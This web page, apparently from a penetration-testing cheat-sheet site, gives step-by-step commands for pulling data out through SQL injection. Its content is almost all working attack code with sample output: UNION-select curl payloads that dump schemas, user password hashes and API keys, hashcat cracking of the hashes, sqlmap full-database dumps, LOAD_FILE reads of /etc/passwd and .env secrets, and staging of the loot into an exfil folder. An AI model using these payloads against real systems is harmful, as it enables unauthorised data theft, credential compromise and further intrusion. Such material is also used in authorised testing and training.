Skip to content
HackIndex logo

HackIndex

Exfiltrating Database Content via SQLi

3 min read Apr 24, 2026

Once SQL injection is confirmed and you have query execution, the goal shifts to extracting and preserving high-value data efficiently. This page covers targeted extraction of credentials, schema mapping for scope awareness, and bulk export techniques. Run this after establishing injection type through SQL injection exploitation.

Map the Database Schema First

Before pulling data, understand what exists to prioritize targets. Pull all schemas and tables in one pass:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,group_concat(table_schema,'.',table_name),NULL FROM information_schema.tables WHERE table_schema NOT IN ('information_schema','performance_schema','mysql','sys')--" 
webapp.users,webapp.sessions,webapp.orders,webapp.api_keys

Prioritize tables with obvious high-value names before dumping everything. users, sessions, api_keys, tokens, and credentials come first. orders and logs are secondary unless credential material is expected there.

Extract Credentials and Hashes

Pull usernames, passwords, and roles from the users table in one query:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,group_concat(username,':',password,':',role SEPARATOR '
'),NULL FROM webapp.users--" | grep -v NULL 
admin:5f4dcc3b5aa765d61d8327deb882cf99:administrator
editor:8d3533d75ae2c3966d7e0d4fcc69216b:editor
user1:d8578edf8458ce06fbc5bb76a58c5ca4:user
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,group_concat(username,':',password SEPARATOR '
'),NULL FROM webapp.users--" | grep -v NULL > /tmp/sqli_hashes.txt && cat /tmp/sqli_hashes.txt

Crack the extracted hashes immediately. MD5 hashes use hashcat mode 0, bcrypt uses mode 3200, SHA1 uses mode 100:

┌──(kali㉿kali)-[~]
└─$ hashcat -m 0 /tmp/sqli_hashes.txt /usr/share/wordlists/rockyou.txt --username 
5f4dcc3b5aa765d61d8327deb882cf99:password
8d3533d75ae2c3966d7e0d4fcc69216b:iloveyou

Extract API Keys and Tokens

Application tokens and API keys in the database often provide direct access to other services:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,group_concat(user_id,':',api_key SEPARATOR '
'),NULL FROM webapp.api_keys--" | grep -v NULL 
1:sk-prod-xK2aB1cD3eF4gH5iJ6kL7mN8oP9
2:sk-prod-qR1sT2uV3wX4yZ5aB6cD7eF8gH9

Bulk Dump with sqlmap

For full database dumps when manual extraction is too slow, sqlmap handles the complete extraction including all tables:

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --dump-all --exclude-sysdbs -o /tmp/sqlmap_dump/
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch -D webapp -T users --dump --output-dir=/tmp/sqlmap_dump/

File System Read via SQLi

When FILE privilege is confirmed, read sensitive files directly through the SQL injection vector without needing LFI:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL--" | grep root 
root:x:0:0:root:/root:/bin/bash
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,LOAD_FILE('/var/www/html/.env'),NULL--" | grep -v NULL 
DB_PASSWORD=SuperSecret123!
APP_KEY=base64:abc123...

Stage and Save Extracted Data

Organize extracted data into files on Kali for reporting and follow-on use:

┌──(kali㉿kali)-[~]
└─$ mkdir -p /tmp/exfil/$TARGET_IP && curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,group_concat(username,':',password SEPARATOR '
'),NULL FROM webapp.users--" | grep -v NULL > /tmp/exfil/$TARGET_IP/hashes.txt && echo "Saved $(wc -l < /tmp/exfil/$TARGET_IP/hashes.txt) hashes" 
Saved 3 hashes

References